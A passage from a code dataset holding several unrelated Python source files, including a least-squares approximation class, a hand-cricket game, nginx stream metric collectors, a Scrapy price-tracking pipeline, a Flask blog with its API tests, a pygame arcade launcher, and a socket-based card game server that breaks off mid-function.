0:\n geneVarFreq = list()\n with open(self.gene_var_direct, 'r') as csv_file:\n reader = csv.reader(csv_file)\n for row in reader:\n geneVarFreq.append(row[0])\n count = 0\n newEvidenceDict = dict()\n for geneVar in geneVarFreq:\n varType = geneVar.split('-')[1]+'='\n #print(varType)\n if varType in vars:\n newEvidenceDict['mut-var_'+geneVar+'='] = 'True'\n count += 1\n if count == self.max_new_ev:\n break\n self.evidence = newEvidenceDict\n return True\n else:\n return False\n #print(self.evidence)\n\n def getReportString(self):\n #-- Redirect sys.stdout to a string memory buffer.\n f = io.StringIO()\n with contextlib.redirect_stdout(f):\n self.getReport()\n return f.getvalue()\n\n def getReport(self):\n string = '---- Query Details -----\\n'\n string += 'Demographic Evidence:\\n'\n if self.dynamic_evidence is not None:\n for evid in self.dynamic_evidence:\n string += '\\t{} {} {}\\n'.format(evid[0], evid[1], evid[2])\n string += 'Evidence:\\n'\n if self.evidence is not None:\n for rvName, stateName in self.evidence.items():\n string += '\\t{} = {}\\n'.format(rvName, stateName)\n string += 'Targets:\\n'\n if self.targets is not None:\n for target in self.targets:\n string += '\\t{}\\n'.format(target)\n print(string)\n if self.result is not None:\n self.result.summary(include_srcs=False)\n print('Computed in {} sec.'.format(self.compute_time))\n print('------ Explanations ------')\n print(self.printExplanations())\n elif self.independ_result is not None:\n print('---- Results Using Independence Assumption -----')\n print('Total Result:')\n for update, state_dict in self.independ_result.items():\n print('\\t{}'.format(update))\n for state, prob in state_dict.items():\n print('\\t\\t{} = {}'.format(state, prob))\n print('Independent Contributions:')\n for target, df in self.getIndependentContributions().items():\n print(target)\n print(df)\n print('------ Explanations ------')\n print(self.printExplanations())\n print('--------Individual Query Reports -------')\n for q in self.independ_queries:\n q.getReport()\n else:\n print('No results found.')\n","sub_path":"chp/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":20622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"490222773","text":"\n\nclass Approximation:\n\n def __init__ (self,polynominalDegree, data):\n self.pd = polynominalDegree\n self.xy = data\n self.s = (self.pd*2 + 1) * [0]\n self.t = (self.pd+1) * [0]\n self.count_st()\n\n def count_st (self):\n for xy in self.xy:\n for i in range(len(self.s)):\n self.s[i] += xy[0]**i\n for i in range(len(self.t)):\n self.t[i] += xy[1] * xy[0]**i\n \n def get_matrix(self):\n matrix = [[0] * (self.pd+1)] * (self.pd+1)\n matrixDimension = len(matrix)\n for i in range(matrixDimension):\n matrixRow = [0]*(self.pd+1)\n for j in range(matrixDimension):\n matrixRow[j] = self.s[i+j]\n matrix[i]=matrixRow\n return matrix\n\n def get_t(self):\n return self.t","sub_path":"NumericalAnalysis/LeastSquaresFunctionApproximation/Approximation.py","file_name":"Approximation.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"163023721","text":"# Hand cricket game\n\nfrom time import sleep\nfrom random import Random\n\nr = Random()\nrand = r.randint\n\npause = 0.5\n\ndef wait():\n sleep(pause)\n\ndef innings(play, target=None):\n inn = [\"Bat\", \"Bowl\"]\n total_wickets = 2\n wickets = total_wickets\n score = 0\n scr_list = [ str(x) for x in range(7) ]\n while wickets > 0 and (target == None or score <= target):\n print(inn[play], \":\", end=\"\\t\")\n ip = input()\n if ip not in scr_list:\n print(\"Illegal input\")\n if play == 0:\n print(\"Out\")\n wickets -= 1\n else:\n print(\"Penalty runs: 10\")\n score += 10\n else:\n play_1 = int(ip)\n wait()\n play_2 = rand(0, 6)\n print(inn[play-1], \":\\t\", play_2)\n wait()\n if play_1 == play_2:\n wickets -= 1\n print(\"Out\")\n else:\n if play == 0:\n score += play_1\n else:\n score += play_2\n print(\"Run\")\n print(score, \"/\", (total_wickets-wickets))\n print(\"\\n\\n\\n\")\n return score\n\ndef coin_toss():\n batting = -1 # 0 - player batting first, 1 - computer batting first\n if rand(0, 1) == 0:\n # player is calling toss\n ip = \"_\"\n while ip not in list(\"hHtT\"):\n print(\"Heads or Tails (h/t):\", end=\"\\t\")\n ip = input()\n if rand(0, 1) == 0: # 0 - player won, 1 - computer won\n print(\"You won toss\")\n ip = \"_\"\n while ip not in list(\"bBfF\"):\n print(\"Batting or Fielding (b/f):\", end=\"\\t\")\n ip = input()\n if ip in \"bB\":\n batting = 0\n else:\n batting = 1\n else:\n print(\"Computer won toss\")\n batting = rand(0, 1)\n if batting == 0:\n print(\"You'll bat first\")\n else:\n print(\"Computer will bat first\")\n return batting\n\n\ninn = coin_toss()\nif inn == 0:\n player_score = innings(0)\n comp_score = innings(1, player_score)\nelse:\n comp_score = innings(1)\n player_score = innings(0, comp_score)\nif player_score > comp_score:\n print(\"You won\")\nelif comp_score > player_score:\n print(\"You lose\")\nelse:\n print(\"Match draw\")\n","sub_path":"hand_cricket.py","file_name":"hand_cricket.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"290119098","text":"# -*- coding: utf-8 -*-\nimport copy\n\n\n__author__ = \"Mike Belov\"\n__copyright__ = \"Copyright (C) Nginx, Inc. All rights reserved.\"\n__license__ = \"\"\n__maintainer__ = \"Mike Belov\"\n__email__ = \"dedm@nginx.com\"\n\n\ndef collect_active_connections(collector, data, stamp):\n collector.object.statsd.gauge('plus.stream.upstream.conn.active', data['active'], stamp=stamp)\n\n\ndef collect_total_connections(collector, data, stamp):\n counted_vars = {\n 'plus.stream.upstream.conn.count': data['connections']\n }\n\n collector.aggregate_counters(copy.deepcopy(counted_vars), stamp=stamp)\n\n\ndef collect_timers(collector, data, stamp):\n if 'connect_time' in data:\n time_in_seconds = float(data['connect_time']) / 1000\n collector.object.statsd.timer('plus.stream.upstream.conn.time', float('%.3f' % time_in_seconds))\n\n if 'first_byte_time' in data:\n time_in_seconds = float(data['first_byte_time']) / 1000\n collector.object.statsd.timer('plus.stream.upstream.conn.ttfb', float('%.3f' % time_in_seconds))\n\n if 'response_time' in data:\n time_in_seconds = float(data['response_time']) / 1000\n collector.object.statsd.timer('plus.stream.upstream.response.time', float('%.3f' % time_in_seconds))\n\n\ndef collect_bytes(collector, data, stamp):\n counted_vars = {\n 'plus.stream.upstream.bytes_sent': data['sent'],\n 'plus.stream.upstream.bytes_rcvd': data['received']\n }\n\n collector.aggregate_counters(copy.deepcopy(counted_vars), stamp=stamp)\n\n\ndef collect_fails_unavail(collector, data, stamp):\n counted_vars = {\n 'plus.stream.upstream.fails.count': data['fails'],\n 'plus.stream.upstream.unavail.count': data['unavail']\n }\n\n collector.aggregate_counters(copy.deepcopy(counted_vars), stamp=stamp)\n\n\ndef collect_health_checks(collector, data, stamp):\n health_checks = data['health_checks']\n\n counted_vars = {\n 'plus.stream.upstream.health.checks': health_checks['checks'],\n 'plus.stream.upstream.health.fails': health_checks['fails'],\n 'plus.stream.upstream.health.unhealthy': health_checks['unhealthy']\n }\n\n collector.aggregate_counters(copy.deepcopy(counted_vars), stamp=stamp)\n\n\ndef collect_peer_count(collector, data, stamp):\n latest_vars = [\n 'plus.stream.upstream.peer.count'\n ]\n\n if data['state'].lower() == 'up':\n collector.aggregate_latest(latest_vars, stamp=stamp)\n\n\ndef collect_zombies(collector, data, stamp):\n if 'zombies' in data:\n collector.object.statsd.gauge('plus.stream.upstream.zombies', data['zombies'], stamp=stamp)\n\n\nSTREAM_UPSTREAM_PEER_COLLECT_INDEX = [\n collect_active_connections,\n collect_total_connections,\n collect_timers,\n collect_bytes,\n collect_fails_unavail,\n collect_health_checks,\n collect_peer_count\n]\n\nSTREAM_UPSTREAM_COLLECT_INDEX = [\n collect_zombies\n]","sub_path":"amplify/agent/collectors/plus/util/status/stream_upstream.py","file_name":"stream_upstream.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"10448252","text":"# Program Cat and Mouse Game \n# Description: \n# This program is a simple cat and mouse game\n# Author: Eddy Gaspar\n# Date: 5 November 2021\n# Revised: \n# \n\n# import library modules here\nimport catAndMouseFunctions\n# Define global constants (name in ALL_CAPS)\n\ndef main():\n\n # Declare Variable types (EVERY variable used in this main program)\n playAgain = str()\n\n playAgain = str(input('Welcome to my cat and mouse game! To play, enter yes. To exit, enter any other key. '))\n\n if playAgain == 'yes':\n while playAgain == 'yes':\n\n catAndMouseFunctions.catMouseGameplay()\n\n playAgain = str(input('Would you like to play again? Enter yes to continue, or enter any other key to quit. '))\n \n else:\n\n print('Ok byeeeeee.')\n\n# End Program\n\nmain()","sub_path":"catAndMouse.py","file_name":"catAndMouse.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"618841541","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport scrapy\nimport psycopg2\nimport psycopg2.extras\nimport re\n\nfrom logging import getLogger, StreamHandler, FileHandler, DEBUG, Formatter\n\nlogger = getLogger(__name__)\nhandler = FileHandler(filename=\"/var/log/kindle_it_spider.log\")\nhandler.setLevel(DEBUG)\nformatter = Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\n\nlogger.setLevel(DEBUG)\nlogger.addHandler(handler)\nlogger.propagate = False\n\nclass KindleItPipeline(object):\n\n def open_spider(self, spider: scrapy.Spider):\n logger.debug(\"db connect\")\n url = spider.settings.get('PG')\n logger.debug(url)\n self.conn = psycopg2.connect(url)\n logger.debug(\"db connect OK\")\n\n self.id_exists_check_sql = \"SELECT NOT EXISTS (SELECT * FROM titles WHERE amazon_id = %s)\"\n #self.insert_title_sql = \"INSERT INTO titles (amazon_id, title, category, publication_date, evaluation, review_cnt, now_price, lowest_price) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\"\n self.insert_title_sql = \"INSERT INTO titles (amazon_id, title, publication_date, evaluation, review_cnt, now_price, lowest_price) VALUES (%s, %s, %s, %s, %s, %s, %s)\"\n self.select_sql = \"SELECT * FROM titles WHERE amazon_id = %s\"\n self.review_update_sql = \"UPDATE titles SET evaluation = %s, review_cnt = %s WHERE amazon_id = %s\"\n self.insert_price_sql = \"INSERT INTO prices (amazon_id, price , get_date) VALUES (%s, %s, now() )\"\n self.calc_lowest_sql= \"SELECT MAX(price) FROM prices WHERE amazon_id = %s GROUP BY amazon_id\"\n self.lowest_update_sql = \"UPDATE titles SET lowest_price = %s WHERE amazon_id = %s\"\n\n def close_spider(self, spider: scrapy.Spider):\n logger.debug(\"db close\")\n self.conn.close()\n\n def process_item(self, item, spider):\n\n logger.debug(\"process\")\n logger.debug(item)\n\n curs = self.conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n logger.debug(item.get(\"amazon_id\"))\n # check existing record\n curs.execute(self.id_exists_check_sql, [item.get(\"amazon_id\")])\n logger.debug(\"exists_check\")\n\n if curs.fetchone()[0]:\n logger.debug(\"new data\")\n curs.execute(self.insert_title_sql, [\n item.get(\"amazon_id\"),\n item.get(\"title\"),\n #item.get(\"category\"),\n item.get(\"publication_date\"),\n item.get(\"evaluation\"),\n item.get(\"review_cnt\"),\n item.get(\"now_price\"),\n item.get(\"now_price\"),\n ])\n curs.execute(self.insert_price_sql, [\n item.get(\"amazon_id\"),\n item.get(\"now_price\"),\n ])\n else:\n curs.execute(self.select_sql, [item.get(\"amazon_id\")])\n result = curs.fetchone()\n logger.debug(\"select\")\n\n logger.debug(\"scraped review_cnt\")\n logger.debug(item.get(\"review_cnt\"))\n logger.debug(\"stored review_cnt\")\n logger.debug(result.get(\"review_cnt\"))\n logger.debug(\"scraped evaluation\")\n logger.debug(item.get(\"evaluation\"))\n logger.debug(\"stored evaluation\")\n logger.debug(item.get(\"evaluation\"))\n\n if bool(str(item.get(\"review_cnt\")) != str(result.get(\"review_cnt\"))) or bool(str(item.get(\"evaluation\")) != str(result.get(\"evaluation\"))):\n logger.debug(\"change review\")\n curs.execute(self.review_update_sql, [\n item.get(\"evaluation\"),\n item.get(\"review_cnt\"),\n item.get(\"amazon_id\"),\n ])\n\n logger.debug(\"scraped price\")\n logger.debug(item.get(\"now_price\"))\n logger.debug(\"stored price\")\n logger.debug(item.get(\"now_price\"))\n\n if item.get(\"now_price\") != result.get(\"now_price\"):\n\n logger.debug(\"change price\")\n curs.execute(self.insert_price_sql, [\n item.get(\"amazon_id\"),\n item.get(\"now_price\"),\n ])\n\n curs.execute(self.calc_lowest_sql, [\n item.get(\"amazon_id\"),\n ])\n\n lowest = curs.fetchone()[0]\n logger.debug(\"check lowest\")\n logger.debug(lowest)\n\n curs.execute(self.lowest_update_sql, [\n lowest,\n item.get(\"amazon_id\"),\n ])\n\n self.conn.commit()\n logger.debug(\"end pipeline processing\")\n\n return item\n","sub_path":"kindle_it/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":4820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"369024317","text":"#\n# Imports which are standard for all test cases.\n#\nimport sys\nsys.path.insert(1, \"./\")\nfrom gaiatest import GaiaTestCase\nfrom OWDTestToolkit import *\n\n#\n# Imports particular to this test case.\n#\n\nfrom tests._mock_data.contacts import MockContacts\n\n\nclass test_main(GaiaTestCase):\n \n _TestMsg = \"Test message.\"\n\n def setUp(self):\n #\n # Set up child objects...\n #\n GaiaTestCase.setUp(self)\n self.UTILS = UTILS(self)\n self.messages = Messages(self)\n\n self.contacts = Contacts(self)\n \n self.num1 = self.UTILS.get_os_variable(\"GLOBAL_TARGET_SMS_NUM\")\n self.emailAddy = self.UTILS.get_os_variable(\"GMAIL_1_EMAIL\")\n\n def tearDown(self):\n self.UTILS.reportResults()\n \n def test_run(self):\n\n #\n # Launch messages app.\n #\n self.messages.launch()\n \n #\n # Create and send a new test message.\n #\n\n self.messages.createAndSendSMS([self.num1], \"Hello \" + self.emailAddy + \" old bean.\")\n x=self.messages.waitForReceivedMsgInThisThread()\n \n #\n # Tap on edit mode.\n #\n y=self.UTILS.getElement(DOM.Messages.edit_messages_icon, \"Edit button\")\n y.tap() \n \n #\n # Long press the email link.\n # \n _link = x.find_element(\"tag name\", \"a\")\n self.actions = Actions(self.marionette)\n self.actions.long_press(_link,2).perform() \n \n #\n # Check the email address is not a link in edit mode.\n #\n self.UTILS.waitForNotElements( (\"xpath\", \"//button[text()='Create new contact']\"),\n \"Create new contact button\")\n self.messages.createAndSendSMS([self.num1], \"Email addy %s test.\" % self.emailAddy)\n x = self.messages.waitForReceivedMsgInThisThread()\n \n","sub_path":"tests/SMS/test_26977.py","file_name":"test_26977.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"469125296","text":"from flask import Flask, render_template, redirect, request\nfrom flask_sqlalchemy import SQLAlchemy\nimport datetime\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///blog.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\n# db.init_app(app)\n\nclass Article(db.Model):\n __tablename__ = \"articles\"\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n title = db.Column(db.String, nullable=False)\n content = db.Column(db.String, nullable=False)\n author = db.Column(db.String, nullable=False)\n created_at = db.Column(db.String, nullable=False)\n \ndb.create_all()\n\ndef localtime():\n time_now = datetime.datetime.now()\n time_now = time_now + datetime.timedelta(hours=9)\n return time_now.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n@app.route('/')\ndef index():\n return render_template('index.html')\n \n@app.route('/articles')\ndef articles():\n articles = Article.query.all()\n return render_template('articles.html', articles = articles)\n \n@app.route('/articles/new')\ndef articles_new():\n return render_template('articles_new.html')\n \n@app.route('/articles/create', methods=['POST'])\ndef articles_create():\n title = request.form['title']\n content = request.form['content']\n author = request.form['author']\n \n article = Article(title=title, content=content, author=author, created_at=localtime())\n db.session.add(article)\n db.session.commit()\n \n return redirect('/articles/{}'.format(article.id))\n \n@app.route('/articles/')\ndef articles_detail(articles_id):\n article = Article.query.get(articles_id)\n return render_template('articles_detail.html', article=article)\n \n@app.route('/articles//edit')\ndef articles_edit(articles_id):\n article = Article.query.get(articles_id)\n return render_template('articles_edit.html', article=article)\n \n@app.route('/articles//update', methods=['POST'])\ndef articles_update(articles_id):\n title = request.form['title']\n content = request.form['content']\n author = request.form['author']\n \n article = Article.query.get(articles_id)\n article.title = title\n article.content = content\n article.author = author\n article.created_at = localtime()\n db.session.commit()\n \n return redirect('/articles/{}'.format(articles_id))\n \n@app.route('/articles//delete')\ndef articles_delete(articles_id):\n article = Article.query.get(articles_id)\n db.session.delete(article)\n db.session.commit()\n return redirect('/articles')","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593958436","text":"from models.user import UserModel\nfrom models.item import ItemModel\nfrom models.store import StoreModel\nfrom tests.base_test import BaseTest\nimport json\n\n\nclass ItemTest(BaseTest):\n # this setup method runs before every test while inheriting from the BaseTest super class so it doesn't override it\n def setUp(self):\n super(ItemTest, self).setUp()\n with self.app() as c:\n with self.app_context():\n UserModel('test', '1234').save_to_db()\n auth_request = c.post('/auth', data=json.dumps({\n 'username': 'test',\n 'password': '1234'\n }), headers={'Content-Type': 'application/json'})\n self.auth_header = f\"JWT {json.loads(auth_request.data)['access_token']}\"\n # this is our access token so we need to include it in the authorisation header of our GET request\n # ... that is going to get the item from the db via the API\n # the header must take this format by default with FlaskJWT\n\n def test_item_no_auth(self):\n with self.app() as c:\n r = c.get('/item/test')\n self.assertEqual(r.status_code, 401)\n\n def test_item_not_found(self):\n with self.app() as c:\n r = c.get('/item/test', headers={'Authorization': self.auth_header})\n self.assertEqual(r.status_code, 404)\n\n def test_item_found(self):\n with self.app() as c:\n with self.app_context():\n StoreModel('test').save_to_db()\n ItemModel('test', 17.99, 1).save_to_db()\n r = c.get('/item/test', headers={'Authorization': self.auth_header})\n\n self.assertEqual(r.status_code, 200)\n self.assertDictEqual(d1={'name': 'test', 'price': 17.99},\n d2=json.loads(r.data))\n\n def test_delete_item(self):\n with self.app() as c:\n with self.app_context():\n StoreModel('test').save_to_db()\n ItemModel('test', 17.99, 1).save_to_db()\n r = c.delete('/item/test')\n\n self.assertEqual(r.status_code, 200)\n self.assertDictEqual(d1={'message': 'Item deleted'},\n d2=json.loads(r.data))\n\n def test_create_item(self):\n with self.app() as c:\n with self.app_context():\n StoreModel('test').save_to_db()\n r = c.post('/item/test', data={'price': 17.99, 'store_id': 1})\n\n self.assertEqual(r.status_code, 201)\n self.assertEqual(ItemModel.find_by_name('test').price, 17.99)\n self.assertDictEqual(d1={'name': 'test', 'price': 17.99},\n d2=json.loads(r.data))\n\n def test_create_duplicate_item(self):\n with self.app() as c:\n with self.app_context():\n StoreModel('test').save_to_db()\n c.post('/item/test', data={'price': 17.99, 'store_id': 1})\n r = c.post('/item/test', data={'price': 17.99, 'store_id': 1})\n\n self.assertEqual(r.status_code, 400)\n\n def test_put_item(self):\n with self.app() as c:\n with self.app_context():\n StoreModel('test').save_to_db()\n r = c.put('/item/test', data={'price': 17.99, 'store_id': 1})\n\n self.assertEqual(r.status_code, 200)\n self.assertEqual(ItemModel.find_by_name('test').price, 17.99)\n self.assertDictEqual(d1={'name': 'test', 'price': 17.99},\n d2=json.loads(r.data))\n\n def test_put_update_item(self):\n with self.app() as c:\n with self.app_context():\n StoreModel('test').save_to_db()\n c.put('/item/test', data={'price': 17.99, 'store_id': 1})\n self.assertEqual(ItemModel.find_by_name('test').price, 17.99)\n\n r = c.put('/item/test', data={'price': 18.99, 'store_id': 1})\n\n self.assertEqual(r.status_code, 200)\n self.assertEqual(ItemModel.find_by_name('test').price, 18.99)\n\n def test_item_list(self):\n with self.app() as c:\n with self.app_context():\n StoreModel('test').save_to_db()\n ItemModel('test', 17.99, 1).save_to_db()\n r = c.get('/items')\n\n self.assertDictEqual(d1={'items': [{'name': 'test', 'price': 17.99}]},\n d2=json.loads(r.data))","sub_path":"tests/system/item_test.py","file_name":"item_test.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"53264419","text":"# Pygame Arcade\n# ICS4U-02\n# 2016\n# A collection of games built using pygame by the ICS4U-02 class, all running in a virtual arcade.\n\nimport pygame, sys, os\nfrom pygame.locals import *\nfrom colours import *\nfrom importlib import import_module\n\nclass arcade:\n global previous_areas; previous_areas = []\n global act_rects; act_rects = []\n\n def __init__(self): # This is automatically run\n flags = HWSURFACE | DOUBLEBUF #| NOFRAME\n screen_x, screen_y = 600, 600\n self.screen = pygame.display.set_mode((screen_x,screen_y),flags)\n pygame.display.set_icon(pygame.image.load(os.getcwd() + '\\\\resources\\\\window_icon.png').convert_alpha())\n\n def UI(arcade):\n arcade.__init__()\n arcade.setCaption(__file__)\n arcade.setWindow(1125,750)\n bg = arcade.getImage('\\\\','UI_bg.png')\n arcade.initBackground(bg)\n UI_font1 = pygame.font.Font(os.getcwd() + '\\\\resources\\\\UI_font1.ttf', 48)\n UI_font2 = pygame.font.Font(os.getcwd() + '\\\\resources\\\\UI_font1.ttf', 16)\n text1 = UI_font1.render('Welcome to the Pygame Aracade!', False, white)\n selections = [\n UI_font2.render('1: Air Hockey', False, white),\n UI_font2.render('2: Block Breaker', False, white),\n UI_font2.render('3: Snow Whirled', False, white),\n UI_font2.render('4: Pong', False, white),\n UI_font2.render('5: Colourful Balls', False, white),\n UI_font2.render('6: Jumpy Square', False, white),\n UI_font2.render('7: Colour Fall', False, white)\n ]\n selections_rects = [x.get_rect() for x in selections]\n game = 'Arcade'\n while True:\n arcade.getEvents()\n arcade.drawBackground(bg)\n arcade.draw((text1, 177, 10))\n for i in range(len(selections)):\n selections_rects[i][0], selections_rects[i][1] = 563 - selections[i].get_rect().width//2, 70*(i+2)\n arcade.draw((selections[i], selections_rects[i][0], selections_rects[i][1]))\n arcade.update()\n pressed = arcade.getKey()\n mouse_pos = pygame.mouse.get_pos()\n mouse_click = pygame.mouse.get_pressed()[0]\n if pressed[K_1] or pressed[K_KP1] or (mouse_click and selections_rects[0].collidepoint(mouse_pos)): game = 'Air Hockey'; import_module('Air Hockey').air_hockey(arcade)\n if pressed[K_2] or pressed[K_KP2] or (mouse_click and selections_rects[1].collidepoint(mouse_pos)): game = 'Block Breaker'; import_module('Block Breaker').Game(arcade)\n if pressed[K_3] or pressed[K_KP3] or (mouse_click and selections_rects[2].collidepoint(mouse_pos)): game = 'Snow Whirled'; import_module('Snow Whirled').SnowWhirled(arcade)\n if pressed[K_4] or pressed[K_KP4] or (mouse_click and selections_rects[3].collidepoint(mouse_pos)): game = 'Pong'; import_module('Pong').Game(arcade)\n if pressed[K_5] or pressed[K_KP5] or (mouse_click and selections_rects[4].collidepoint(mouse_pos)): game = 'Colourful Balls'; import_module('Colourful Balls').game(arcade)\n if pressed[K_6] or pressed[K_KP6] or (mouse_click and selections_rects[5].collidepoint(mouse_pos)): game = 'Jumpy Square'; import_module('Jumpy Square').Game(arcade)\n if pressed[K_7] or pressed[K_KP7] or (mouse_click and selections_rects[6].collidepoint(mouse_pos)): game = 'Colour Fall'; import_module('Colour Fall').game(arcade)\n\n if pressed[K_ESCAPE]:\n pygame.quit()\n sys.exit()\n #Framework\n def getEvents(self): # You NEED this to be called in your main loop\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n pygame.event.pump()\n\n def setWindow(self, width, height): # Change your games window size\n flags = HWSURFACE | DOUBLEBUF\n screen_x, screen_y = width, height\n self.screen = pygame.display.set_mode((screen_x,screen_y),flags)\n pygame.display.set_icon(pygame.image.load(os.getcwd() + '\\\\resources\\window_icon.png').convert_alpha())\n\n def getKey(self): #returns any pressed keys\n return pygame.key.get_pressed()\n\n def getMousePos(self): # returns (x,y) position of mouse\n return pygame.mouse.get_pos()\n\n def getMouseButton(self): # returns what mouse buttons are pressed\n return pygame.mouse.get_pressed()\n\n def getImage(self, path, file, alpha = 0): # returns loaded pygame image from folder\n if alpha:\n return pygame.image.load(os.getcwd() + '\\\\resources\\\\' + os.path.basename(path).split('.')[0] + '\\\\' + file).convert_alpha()\n return pygame.image.load(os.getcwd() + '\\\\resources\\\\' + os.path.basename(path).split('.')[0] + '\\\\' + file).convert()\n\n def getSound(self, path, file): # returns loaded sound file from folder\n return pygame.mixer.Sound(os.getcwd() + '\\\\resources\\\\' + os.path.basename(path).split('.')[0] + '\\\\' + file)\n\n def isColliding(self, obj1, obj2): # checks if two surfaces are collliding\n rect1 = pygame.Rect(obj1[1], obj1[2], pygame.Surface.get_bounding_rect(obj1[0])[2], pygame.Surface.get_bounding_rect(obj1[0])[3])\n rect2 = pygame.Rect(obj2[1], obj2[2], pygame.Surface.get_bounding_rect(obj2[0])[2], pygame.Surface.get_bounding_rect(obj2[0])[3])\n return rect1.colliderect(rect2)\n\n def drawBackground(self, background): # draws background but doesnt update\n self.screen.blit(background, (0, 0))\n\n def initBackground(self, background): # call this once outside of the main loop to initialize and update background\n self.screen.blit(background, (0, 0))\n pygame.display.update()\n\n def draw(self, *args): #arg is (surface, x, y)\n global previous_areas\n global act_rects\n update_areas = []\n for arg in args:\n self.screen.blit(arg[0],(arg[1],arg[2]))\n area = pygame.Surface.get_bounding_rect(arg[0])\n area[0], area[1] = arg[1] - 20, arg[2] - 20\n area[2], area[3] = area[2] + 40, area[3] + 40\n update_areas.append(area)\n act_rects.append(update_areas[:])\n act_rects.append(previous_areas[:])\n previous_areas = update_areas[:]\n\n def update(self):\n global act_rects\n for i in act_rects:\n pygame.display.update(i)\n act_rects = []\n \n def makeSurface(self, width, height, alpha = 0): # creates a surface with transparency\n if alpha:\n return pygame.Surface((width,height), pygame.SRCALPHA, 32).convert_alpha()\n return pygame.Surface((width,height))\n\n def setCaption(self, file): # sets window title\n pygame.display.set_caption(os.path.basename(file).split('.')[0])\n\n def returnToArcade(self): # when you end your game call this in final product\n pygame.mouse.set_visible(True)\n self.setWindow(600,600)\n self.UI()\n \n def get_screen(self):\n return self.screen\n\n\n\nif __name__ == '__main__':\n #If arcade.py is executed, open game selector UI\n #All games are executable as a standalone game.\n #All games are contained in a single .py file + resources (sprites, fonts, etc.)\n pygame.mixer.init(22050,-16,2,16)\n pygame.init()\n arcade.UI(arcade())\n\n\n","sub_path":"Arcade.py","file_name":"Arcade.py","file_ext":"py","file_size_in_byte":7348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"623281893","text":"import socket\nimport threading\nimport random\nfrom concurrent.futures import ThreadPoolExecutor\nfrom sys import exit\n\n# Some global variables used in the program\n\n# host IPv4 address and port number\nHOST = \"127.0.0.1\"\nPORT = 65432\n\n# Game related variables.\n# I have used these variables to make the program convenient to change.\nTOT_PLAYERS = 3\nDECK_SIZE = 52\nrounds = 4\nCARDS_PER_PLAYER = 3\n\n# These variables store the players game and connection data\nconn_list = []\naddr_list = []\nwin_counts = {}\nplayers = []\n\n# Makes a list of random cards.\n# The second part converts cards list strings(each string corresponds to one players cards)\n# The list of strings is the return value.\ndef card_provider():\n\n cards = []\n while len(cards) != TOT_PLAYERS*CARDS_PER_PLAYER:\n new_card = random.randrange(1, DECK_SIZE+1)\n if new_card not in cards:\n cards.append(new_card)\n playerwise_seperated = []\n\n for x in range(TOT_PLAYERS):\n l = str(cards[x*CARDS_PER_PLAYER: (x+1)*CARDS_PER_PLAYER])\n playerwise_seperated.append(l[1:-1])\n return playerwise_seperated\n\n\n# Function keeps the track of the total number of rounds \n# calls other fuctions and in short manages the game.\ndef game_manager():\n round_counter = 1\n\n while round_counter!=0:\n cards_for_players = card_provider()\n \n #ThreadPoolExecutor is fuction used to execute fuction in threads.\n # Here map fuction takes the lists and gives their corresponding elements to the fuction\n # And runs that in different threads.\n with ThreadPoolExecutor() as executor:\n p_moves = executor.map(client_manager, conn_list, cards_for_players)\n \n max_card_val = 0\n idx = 0\n #finding the round winner(s) from all the returned cards\n for player_max_card in p_moves:\n if player_max_card > max_card_val:\n max_idx_lst = [idx]\n max_card_val = player_max_card\n elif player_max_card == max_card_val:\n max_idx_lst.append(idx)\n idx += 1\n\n # Printing message on server terminal\n if len(max_idx_lst)==1:\n print(\"Player\", players[max_idx_lst[0]], \"wins round\", round_counter)\n win_counts[players[max_idx_lst[0]]] += 1\n else:\n print(\"Tie betweeen players\", end = ' ')\n for idx in max_idx_lst:\n print(players[idx], end = ' ')\n win_counts[players[idx]] += 1\n print(\"In round\", round_counter)\n\n if round_counter >= rounds:\n # To ask player's consent after all rounds are finished\n round_counter = printing_winners(round_counter)\n else:\n round_counter+=1\n\n\n# Sending cards to the connection object given and recieving the response\ndef client_manager(player_conn, cards_to_send):\n player_conn.sendall(str(cards_to_send).encode('utf-8'))\n card = player_conn.recv(1024).decode('utf-8')\n return (int(card))\n\n\ndef printing_winners(round_counter):\n max_val=0\n # Finding all the winners of the game and storing them in a list\n for player in win_counts:\n if win_counts[player] > max_val:\n winnrs = [player]\n max_val = win_counts[player]\n elif win_counts[player] == max_val:\n winnrs.append(player)\n\n if len(winnrs)==1:\n msg = f\"Player {winnrs[0]} wins the game\"\n else:\n msg = \"Tie betweeen players\"\n for plyr in winnrs:\n msg+=\" \"+plyr\n print(msg)\n 